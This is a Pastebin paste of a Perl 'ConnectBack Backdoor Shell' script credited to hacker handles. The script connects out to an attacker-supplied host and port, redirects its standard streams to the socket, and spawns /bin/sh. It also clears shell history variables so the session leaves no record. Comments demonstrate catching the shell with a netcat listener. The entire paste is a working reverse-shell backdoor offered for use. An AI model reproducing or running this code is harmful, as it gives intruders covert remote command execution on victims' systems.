87aCk_X

backconnect.pl

Sep 29th, 2013
135
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. #cONNECT BACKDOOR EDITED BY XORON
  4. #lord@SlackwareLinux:/home/programing$ perl dc.pl
  5. #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
  6. #
  7. #Usage: dc.pl [Host] [Port]
  8. #
  9. #Ex: dc.pl 127.0.0.1 2121
  10. #lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
  11. #--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==--
  12. #
  13. #[*] Resolving HostName
  14. #[*] Connecting... 127.0.0.1
  15. #[*] Spawning Shell
  16. #[*] Connected to remote host
  17.  
  18. #bash-2.05b# nc -vv -l -p 2121
  19. #listening on [any] 2121 ...
  20. #connect to [127.0.0.1] from localhost [127.0.0.1] 32769
  21. #--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==--
  22. #
  23. #--==Systeminfo==--
  24. #Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
  25. #
  26. #--==Userinfo==--
  27. #uid=1001(xoron) gid=100(users) groups=100(users)
  28. #
  29. #--==Directory==--
  30. #/root
  31. #
  32. #--==Shell==--
  33. #
  34. $system = '/bin/sh';
  35. $ARGC=@ARGV;
  36. print "--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- \n\n";
  37. if ($ARGC!=2) {
  38. print "Usage: $0 [Host] [Port] \n\n";
  39. die "Ex: $0 127.0.0.1 2121 \n";
  40. }
  41. use Socket;
  42. use FileHandle;
  43. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
  44. connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
  45. print "[*] Resolving HostName\n";
  46. print "[*] Connecting... $ARGV[0] \n";
  47. print "[*] Spawning Shell \n";
  48. print "[*] Connected to remote host \n";
  49. SOCKET->autoflush();
  50. open(STDIN, ">&SOCKET");
  51. open(STDOUT,">&SOCKET");
  52. open(STDERR,">&SOCKET");
  53. print "--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==-- \n\n";
  54. system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
  55. echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
  56. system($system);
  57. #EOF
RAW Paste Data